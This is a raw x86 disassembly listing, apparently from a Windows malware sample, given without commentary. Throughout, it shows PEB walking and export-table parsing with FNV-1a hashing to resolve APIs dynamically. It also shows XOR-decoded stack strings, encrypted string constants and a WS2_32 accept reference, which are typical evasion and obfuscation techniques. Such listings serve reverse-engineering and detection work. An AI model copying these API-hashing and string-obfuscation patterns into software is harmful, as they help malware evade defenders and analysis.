nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xa4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa8], ecx
cmp ecx, esi
je 0x435660
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x435660
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xb4], ecx
dec edi
mov esi, 0x9a0198ce
mov cl, byte [edx]
inc edx
test cl, cl
je 0x435653
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x435632
cmp esi, 0xc6db4f93
je 0x435667
mov ecx, dword [ebp - 0xb4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x435613
mov eax, dword [eax]
jmp 0x4355e0
mov esi, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xa4]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0xd8]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x114], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x110], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xa4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa8], ecx
cmp ecx, esi
je 0x435740
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x435740
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xb4], ecx
dec edi
mov esi, 0x73937e0c
mov cl, byte [edx]
inc edx
test cl, cl
je 0x435733
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x435712
cmp esi, 0x5e38605
je 0x435747
mov ecx, dword [ebp - 0xb4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4356f3
mov eax, dword [eax]
jmp 0x4356c0
mov esi, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xa4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x9c], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x114], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 6
jl 0x435770
lea eax, [ebp - 0x114]
jmp 0x43a282
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [ebp - 0x9c], edi
cmp dword [edi], 0x4550
je 0x435c17
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x98], 0xbeb4fde
mov dword [ebp - 0x94], 0x8e76290
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x1e0], ecx
mov dword [ebp - 0x1dc], edx
mov dword [ebp - 0x98], 0xf7dd99ec
mov dword [ebp - 0x94], 0x8f2ccc34
mov ecx, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0x1d8], ecx
mov dword [ebp - 0x98], 0xe7abafa
mov dword [ebp - 0x94], 0xb5eaa59b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], ecx
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], ecx
mov dword [ebp - 0x98], 0x2bb66e85
mov dword [ebp - 0x94], 0x679510d5
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x98beb99e
mov dword [ebp - 0x94], 0xaf16a950
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x470dedf
mov dword [ebp - 0x94], 0xb5eaa59b
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x1e0]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x1e0]
mov dword [ebp - 0xb4], ecx
movaps xmmword [ebp - 0x1e0], xmm1
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x1d0]
push eax
movaps xmmword [ebp - 0x1d0], xmm1
call fcn.0042cb50
mov eax, dword fs:[0x30]
add esp, 8
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xa4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa8], ecx
cmp ecx, esi
je 0x435a00
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x435a00
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xb4], ecx
dec edi
mov esi, 0xe2f1a65e
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4359f3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4359d2
cmp esi, 0x6928bb36
je 0x435a07
mov ecx, dword [ebp - 0xb4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4359b3
mov eax, dword [eax]
jmp 0x435980
mov esi, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xa4]
push 0
push dword [ebp - 0x78]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xa4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa8], ecx
cmp ecx, esi
je 0x435ac0
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x435ac0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xb4], ecx
dec edi
mov esi, 0xf341896a
mov cl, byte [edx]
inc edx
test cl, cl
je 0x435ab3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x435a92
cmp esi, 0x2459b01f
je 0x435ac7
mov ecx, dword [ebp - 0xb4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x435a73
mov eax, dword [eax]
jmp 0x435a40
mov esi, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xa4]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0xd8]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x11c], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x118], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xa4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa8], ecx
cmp ecx, esi
je 0x435ba0
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x435ba0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xb4], ecx
dec edi
mov esi, 0x7faeb1be
mov cl, byte [edx]
inc edx
test cl, cl
je 0x435b93
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x435b72
cmp esi, 0x224a7c1f
je 0x435ba7
mov ecx, dword [ebp - 0xb4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x435b53
mov eax, dword [eax]
jmp 0x435b20
mov esi, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xa4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x9c], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x11c], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 6
jl 0x435bd0
lea eax, [ebp - 0x11c]
jmp 0x43a282
mov eax, 0x2000
test word [edi + 0x16], ax
jne 0x436067
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x98], 0xbeb4fde
mov dword [ebp - 0x94], 0x8e76290
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x200], ecx
mov dword [ebp - 0x1fc], edx
mov dword [ebp - 0x98], 0xf7dd99ec
mov dword [ebp - 0x94], 0x8f2ccc34
mov ecx, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x1f8], ecx
mov dword [ebp - 0x98], 0xe7abafa
mov dword [ebp - 0x94], 0xb5eaa59b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x98], 0x2bb66e85
mov dword [ebp - 0x94], 0x679510d5
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x98beb99e
mov dword [ebp - 0x94], 0xaf16a950
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x470dedf
mov dword [ebp - 0x94], 0xb5eaa59b
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x200]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x200]
mov dword [ebp - 0xb4], ecx
movaps xmmword [ebp - 0x200], xmm1
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x1f0]
push eax
movaps xmmword [ebp - 0x1f0], xmm1
call fcn.0042cb50
mov eax, dword fs:[0x30]
add esp, 8
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xa4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa8], ecx
cmp ecx, esi
je 0x435e52
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x435e52
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xb4], ecx
dec edi
mov esi, 0xd503f492
mov cl, byte [edx]
inc edx
test cl, cl
je 0x435e45
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x435e24
cmp esi, 0xcbf774ba
je 0x435e59
mov ecx, dword [ebp - 0xb4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x435e05
mov eax, dword [eax]
jmp 0x435dd2
mov esi, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xa4]
push 0
push dword [ebp - 0x78]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xa4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa8], ecx
cmp ecx, esi
je 0x435f10
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x435f10
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xb4], ecx
dec edi
mov esi, 0xba916f86
mov cl, byte [edx]
inc edx
test cl, cl
je 0x435f03
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x435ee2
cmp esi, 0xe427071b
je 0x435f17
mov ecx, dword [ebp - 0xb4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x435ec3
mov eax, dword [eax]
jmp 0x435e90
mov esi, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xa4]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0xd8]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x124], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x120], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xa4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa8], ecx
cmp ecx, esi
je 0x435ff0
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x435ff0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xb4], ecx
dec edi
mov esi, 0xdd5a5e
mov cl, byte [edx]
inc edx
test cl, cl
je 0x435fe3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x435fc2
cmp esi, 0x5d35abf
je 0x435ff7
mov ecx, dword [ebp - 0xb4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x435fa3
mov eax, dword [eax]
jmp 0x435f70
mov esi, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xa4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x9c], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x124], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 6
jl 0x436020
lea eax, [ebp - 0x124]
jmp 0x43a282
push 0xc
call fcn.0044318b
mov esi, eax
add esp, 4
mov dword [ebp - 0x94], esi
mov byte [ebp - 4], 3
xorps xmm0, xmm0
mov eax, dword [0x4b0848]
xor edx, edx
movaps xmm4, xmmword [0x4b0d40]
movaps xmm5, xmmword [0x4b0c70]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm6, xmmword [0x4b0c90]
movq qword [esi], xmm0
movups xmm0, xmmword [str.dW_NL_O_c]
mov dword [esi + 8], 0
mov edi, dword [0x5067b8]
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0xac], edx
movups xmmword [ebp - 0x1bc], xmm0
movaps xmm0, xmmword [0x4b0e50]
cmp edi, 2
jl 0x4361e4
movaps xmmword [ebp - 0xc0], xmm0
lea eax, [edx + 4]
mov ecx, dword [ebp - 0xc0]
nop
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x1c0]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x1c0], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x1bc]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x1bc], xmm2
add eax, 8
cmp eax, 0x14
jl 0x4360f0
mov dword [ebp - 0xac], edx
cmp edx, 0x14
jge 0x43621b
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xac]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x1bc], cl
inc edx
mov dword [ebp - 0xac], edx
cmp edx, 0x14
jl 0x4361e4
push 1
lea eax, [ebp - 0x1bc]
mov ecx, esi
push eax
push reloc.WS2_32.dll_accept
call fcn.00442790
mov byte [ebp - 4], 0
xor edx, edx
mov al, byte [0x4b0874]
mov byte [esi + 8], 1
mov byte [ebp - 0x414], al
mov dword [ebp - 0xac], edx
movups xmm0, xmmword [0x4b084c]
movups xmmword [ebp - 0x43c], xmm0
movups xmm0, xmmword [0x4b085c]
movups xmmword [ebp - 0x42c], xmm0
movq xmm0, qword [0x4b086c]
movq qword [ebp - 0x41c], xmm0
cmp edi, 2
jl 0x4363b0
movaps xmm0, xmmword [0x4b0e50]
lea eax, [edx + 4]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm4, xmmword [0x4b0d40]
movaps xmm5, xmmword [0x4b0c70]
movaps xmm6, xmmword [0x4b0c90]
movaps xmmword [ebp - 0xc0], xmm0
mov ecx, dword [ebp - 0xc0]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x440]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x440], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x43c]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x43c], xmm2
add eax, 8
cmp eax, 0x2c
jl 0x4362b3
mov dword [ebp - 0xac], edx
cmp edx, 0x29
jge 0x4363e7
nop word [eax + eax]
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xac]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x43c], cl
inc edx
mov dword [ebp - 0xac], edx
cmp edx, 0x29
jl 0x4363b0
lea eax, [ebp - 0x43c]
push eax
lea ecx, [ebp - 0x4c4]
call fcn.0040d390
lea ecx, [ebp - 0x4c4]
mov byte [ebp - 4], 4
call fcn.00430690
lea ecx, [ebp - 0x4c4]
mov byte [ebp - 4], 0
call fcn.00402420
push 0x506bc8
lea ecx, [ebp - 0x4f4]
call fcn.0040d3d0
push 0x506be0
lea ecx, [ebp - 0x4dc]
mov byte [ebp - 4], 5
call fcn.0040d3d0
lea eax, [ebp - 0x4f4]
push eax
lea ecx, [ebp - 0x4dc]
call fcn.004216f0
lea ecx, [ebp - 0x4dc]
mov byte [ebp - 0xd9], al
call fcn.00402420
lea ecx, [ebp - 0x4f4]
mov byte [ebp - 4], 0
call fcn.00402420
cmp byte [ebp - 0xd9], 0
jne 0x4368ea
movups xmm0, xmmword [0x4b0924]
mov eax, dword [0x4b0944]
xor edx, edx
mov dword [ebp - 0x3f0], eax
mov ax, word [0x4b0948]
mov word [ebp - 0x3ec], ax
mov dword [ebp - 0x9c], edx
movups xmmword [ebp - 0x410], xmm0
movups xmm0, xmmword [0x4b0934]
movups xmmword [ebp - 0x400], xmm0
cmp edi, 2
jl 0x4365e6
movaps xmm0, xmmword [0x4b0e50]
lea eax, [edx + 4]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm4, xmmword [0x4b0d40]
movaps xmm5, xmmword [0x4b0c70]
movaps xmm6, xmmword [0x4b0c90]
movaps xmmword [ebp - 0xc0], xmm0
mov ecx, dword [ebp - 0xc0]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x414]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x414], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x410]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x410], xmm2
add eax, 8
cmp eax, 0x24
jl 0x4364f2
mov dword [ebp - 0x9c], edx
cmp edx, 0x26
jge 0x43661d
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x9c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x410], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 0x26
jl 0x4365e6
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x50c]
call fcn.0040d390
lea ecx, [ebp - 0x50c]
mov byte [ebp - 4], 6
call fcn.00430690
lea ecx, [ebp - 0x50c]
mov byte [ebp - 4], 0
call fcn.00402420
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xa4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa8], ecx
cmp ecx, esi
je 0x4366e0
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4366e0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xb4], ecx
dec edi
mov esi, 0xfc71e976
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4366d3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4366b2
cmp esi, 0x357cc24e
je 0x4366e7
mov ecx, dword [ebp - 0xb4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x436693
mov eax, dword [eax]
jmp 0x436660
mov esi, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xa4]
push 0
push dword [ebp - 0x78]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xa4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa8], ecx
cmp ecx, esi
je 0x4367a0
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4367a0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xb4], ecx
dec edi
mov esi, 0xe9ff7102
mov cl, byte [edx]
inc edx
test cl, cl
je 0x436793
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x436772
cmp esi, 0xebd21525
je 0x4367a7
mov ecx, dword [ebp - 0xb4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x436753
mov eax, dword [eax]
jmp 0x436720
mov esi, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xa4]
push 0x3e8
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x12c], eax
